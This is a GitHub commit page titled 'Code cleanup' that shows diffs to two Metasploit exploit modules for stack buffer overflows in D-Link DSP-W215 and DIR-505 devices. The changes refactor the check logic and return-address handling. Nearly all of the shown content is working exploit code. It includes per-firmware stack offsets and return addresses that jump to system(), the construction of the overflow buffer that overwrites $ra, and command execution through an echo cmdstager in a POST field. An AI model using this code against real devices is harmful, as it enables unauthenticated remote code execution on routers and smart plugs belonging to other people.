Skip to content

Commit a356a0e

Browse files
committed
Code cleanup
1 parent 6fd1ff6 commit a356a0e

File tree

2 files changed

+29
-42
lines changed

2 files changed

+29
-42
lines changed

modules/exploits/linux/http/dlink_dspw215_info_cgi_bof.rb

Lines changed: 24 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -15,8 +15,11 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'D-Link info.cgi Buffer Overflow in POST Request',
1717
'Description' => %q{
18-
This module exploits an anonymous remote code execution vulnerability on different D-Link devices.
19-
This module has been successfully tested on D-Link DSP-W215 in an emulated environment.
18+
This module exploits an anonymous remote code execution vulnerability on different D-Link
19+
devices. The vulnerability is an stack based buffer overflow in the my_cgi.cgi component,
20+
when handling specially crafted POST HTTP requests addresses to the /common/info.cgi
21+
handler. This module has been successfully tested on D-Link DSP-W215 in an emulated
22+
environment.
2023
},
2124
'Author' =>
2225
[
@@ -40,12 +43,14 @@ def initialize(info = {})
4043
[ 'D-Link DSP-W215 - v1.02',
4144
{
4245
'Offset' => 477472,
43-
'Ret' => "\x00\x40\x5C\xEC" # jump to system - my_cgi.cgi
46+
'Ret' => 0x405cec # jump to system - my_cgi.cgi
4447
}
4548
]
4649
],
4750
'DisclosureDate' => 'May 22 2014',
4851
'DefaultTarget' => 0))
52+
53+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
4954
end
5055

5156
def check
@@ -56,38 +61,16 @@ def check
5661
})
5762

5863
if res && [200, 301, 302].include?(res.code)
59-
60-
# trying to automatically detect a vulnerable device
61-
# I think there are other vulnerable devices out there
62-
# Todo: Check more devices and create some more targets
63-
if (target['auto'])
64-
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
65-
66-
self.targets.each do |t|
67-
if (t.name =~ /DSP-W215.*1.02/) then
68-
@my_target = t
69-
break
70-
end
71-
end
72-
73-
else
74-
# no supported device found
75-
return Exploit::CheckCode::Unknown
76-
end
77-
78-
print_status("#{peer} - Selected Target: #{@mytarget.name}")
79-
print_good("#{peer} - detected a vulnerable device")
80-
return Exploit::CheckCode::Detected
81-
82-
# no auto-targetting ... the user is responsible
83-
else
84-
print_good("#{peer} - detected a device with unknown exploitability ... trying to exploit")
85-
return Exploit::CheckCode::Detected
64+
if res.body =~ /DSP-W215A1/ && res.body =~ /1.02/
65+
@my_target = targets[1] if target['auto']
66+
return Exploit::CheckCode::Appears
8667
end
68+
69+
return Exploit::CheckCode::Detected
8770
end
8871

8972
rescue ::Rex::ConnectionError
90-
return Exploit::CheckCode::Unknown
73+
return Exploit::CheckCode::Safe
9174
end
9275

9376
Exploit::CheckCode::Unknown
@@ -96,14 +79,18 @@ def check
9679
def exploit
9780
print_status("#{peer} - Trying to access the vulnerable URL...")
9881

99-
# Use a copy of the target
10082
@my_target = target
83+
check_code = check
10184

102-
unless check == Exploit::CheckCode::Detected
103-
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
85+
unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears
86+
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
10487
end
10588

106-
print_status("#{peer} - Exploiting...")
89+
if @my_target.nil? || @my_target['auto']
90+
fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...")
91+
end
92+
93+
print_status("#{peer} - Exploiting #{@my_target.name}...")
10794
execute_cmdstager(
10895
:flavor => :echo,
10996
:linemax => 185
@@ -112,7 +99,7 @@ def exploit
11299

113100
def prepare_shellcode(cmd)
114101
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
115-
buf << @my_target.ret # Overwrite $ra -> jump to system
102+
buf << [@my_target.ret].pack("N") # Overwrite $ra -> jump to system
116103

117104
# la $t9, system
118105
# la $s1, 0x440000
@@ -135,7 +122,7 @@ def execute_command(cmd, opts)
135122
'vars_post' => {
136123
'storage_path' => shellcode,
137124
}
138-
})
125+
}, 5)
139126
return res
140127
rescue ::Rex::ConnectionError
141128
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")

modules/exploits/linux/http/dlink_hnap_bof.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -44,19 +44,19 @@ def initialize(info = {})
4444
[ 'D-Link DSP-W215 - v1.0',
4545
{
4646
'Offset' => 1000000,
47-
'Ret' => "\x00\x40\x5C\xAC", # jump to system - my_cgi.cgi
47+
'Ret' => 0x405cac, # jump to system - my_cgi.cgi
4848
}
4949
],
5050
[ 'D-Link DIR-505 - v1.06',
5151
{
5252
'Offset' => 30000,
53-
'Ret' => "\x00\x40\x52\x34", # jump to system - my_cgi.cgi
53+
'Ret' => 0x405234, # jump to system - my_cgi.cgi
5454
}
5555
],
5656
[ 'D-Link DIR-505 - v1.07',
5757
{
5858
'Offset' => 30000,
59-
'Ret' => "\x00\x40\x5C\x5C", # jump to system - my_cgi.cgi
59+
'Ret' => 0x405c5c, # jump to system - my_cgi.cgi
6060
}
6161
]
6262
],
@@ -116,13 +116,13 @@ def exploit
116116
end
117117

118118
def prepare_shellcode(cmd)
119-
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
119+
buf = rand_text_alpha_upper(@my_target['Offset']) # Stack filler
120120
buf << rand_text_alpha_upper(4) # $s0, don't care
121121
buf << rand_text_alpha_upper(4) # $s1, don't care
122122
buf << rand_text_alpha_upper(4) # $s2, don't care
123123
buf << rand_text_alpha_upper(4) # $s3, don't care
124124
buf << rand_text_alpha_upper(4) # $s4, don't care
125-
buf << @my_target['Ret'] # $ra
125+
buf << [@my_target.ret].pack("N") # $ra
126126

127127
# la $t9, system
128128
# la $s1, 0x440000

0 commit comments

Comments
 (0)